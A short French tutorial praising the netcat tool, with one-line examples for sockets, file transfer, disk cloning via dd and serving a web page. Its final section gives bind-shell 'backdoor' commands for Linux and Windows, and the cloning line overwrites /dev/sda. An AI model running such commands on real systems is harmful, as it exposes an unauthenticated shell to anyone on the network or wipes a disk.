Netcat : L'outil le plus indispensable après ls, cd, rm ...
Très peu de personnes connaissent l'outil Netcat, et pourtant il mérite vraiment que l'on s'y intéresse de près.
Netcat permet très simplement d'ouvrir des sockets serveurs et clientes. Netcat est distribué avec toutes les distributions GNU/Linux.
https://netcat.sourceforge.net/
Si vous n'avez pas de distribution Linux sous la main, vous pouvez vous amuser avec la version DOS de Netcat.
Pour lancer une socket en écoute sur le port 1234:
nc -l -p 1234
Pour ouvrir une socket cliente vers le port précédemment ouvert en local :
nc -w 1 localhost 1234
Il est aussi possible de réaliser des choses beaucoup plus ''brutales'' avec Netcat, des choses réservées aux barbus.
Envoyer un fichier entre deux machines
Serveur 1 :
nc -lp 1234 > monfichier.zip
Serveur 2 :
nc -w 1 server1.example.com 1234 < monfichier.zip
Cloner un filesystem
Serveur 1 :
nc -l -p 1234 | dd of=/dev/sda
Serveur 2 :
dd if=/dev/sda | nc server1.example.com 1234
Servir une page Web
while `netcat -lp 80 -c 'echo HTTP/1.0 200 OK';echo;cat index.html`;do;done
Récupérer des informations sur le système
while `netcat -lp 3333 -e /usr/bin/uptime`;do;done
Ouvrir une backdoor
Sur Linux :
nc -nvv -l -p 1234 -e /bin/sh
Sur Windows :
nc -nvv -l -p 1234 -e cmd.exe
Comme vous avez pu le constater, Netcat est un outil très minimaliste, mais indispensable quand on commence à savoir le manipuler.